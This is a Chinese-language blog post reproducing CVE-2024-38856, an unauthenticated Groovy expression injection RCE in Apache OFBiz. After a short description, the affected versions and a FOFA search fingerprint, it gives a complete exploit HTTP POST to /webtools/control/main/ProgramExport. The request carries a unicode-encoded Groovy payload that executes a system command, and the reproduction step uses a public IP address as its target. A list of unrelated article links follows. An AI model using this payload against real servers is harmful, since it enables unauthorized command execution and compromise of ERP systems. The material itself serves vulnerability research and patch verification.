当前位置: 首页 > news >正文

【漏洞复现】CVE-2024-38856(ApacheOfbiz RCE)

【漏洞复现】CVE-2024-38856(ApacheOfbiz RCE)

1. 漏洞描述

Apache OFBiz 是一个开源的企业资源规划(ERP)系统。它提供了一套企业应用程序,用于集成和自动化企业的许多业务流程。 这个漏洞是由于对 CVE-2023-51467 的不完全修复而产生的。在 Apache OFBiz 18.12.11 版本中,开发人员认为他们已经修复了该漏洞,但实际上他们只解决了其中一种利用方法。Groovy 表达式注入仍然存在,允许未经授权的用户在服务器上执行任意命令。

2. 影响版本

Apache OFBiz <= 18.12.14

3. 服务探测指纹

FOFA:app=“Apache_OFBiz”

4. 复现过程

https://101.200.198.105:24599/webtools/control/checklogin
[图片]
[图片]

exp

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 272groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

unicode编码的在线网站:https://tool.chinaz.com/tools/unicode.aspx

\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003bthrow new Exception('calc'.execute().text);进行编码后的数据

http://www.xdnf.cn/news/58375.html

相关文章:

  • 【Linux篇】轻松搭建命名管道通信:客户端与服务器的互动无缝连接
  • yum如果备份已经安装的软件?
  • oracle不同数据库版本的自增序列
  • 第一期第18讲26:23
  • 把dll模块注入到游戏进程的方法_远线程注入
  • Linux系统启动全流程解析:从BIOS到用户登录
  • vscode 打开新页签
  • uniapp微信小程序:WIFI设备配网之TCP/UDP开发AP配网
  • Fine-grained Dynamic Network for Generic Event Boundary Detection
  • Day 12
  • 一文详解opencv-python环境搭建:Mac配置python的cv2开发环境
  • FTTR 全屋光纤架构分享
  • 电脑安装CentOS系统
  • μC/OS 版本演进过程 | uC/OS-II 和 uC/OS-III 有什么区别?
  • 国内主流 MCP 服务概览
  • 基于Surprise和Flask构建个性化电影推荐系统:从算法到全栈实现
  • 基于 DeepSeek大模型 开发AI应用的理论和实战书籍推荐,涵盖基础理论、模型架构、实战技巧及对比分析,并附表格总结
  • 基于SpringBoot的在线抽奖系统测试用例报告
  • 【KWDB创作者计划】_针对KWDB时序数据库(多副本集群环境)进行压力测试
  • Redis 键管理
  • MyBatis框架—xml映射
  • 34、Spark实现读取XLS文件
  • iOS中使用AWS上传zip文件到Minio上的oss平台上
  • nvidia physx
  • C# 封装教程
  • MCP实践第一步--磕磕碰碰搭环境
  • TensorFlow中使用Keras
  • Spring如何通过XML注册Bean
  • C++23 让 Lambda 表达式中的 () 更可选:P1102R2 提案深度解析
  • Apache RocketMQ 荣获 2024 开源创新榜单“年度开源项目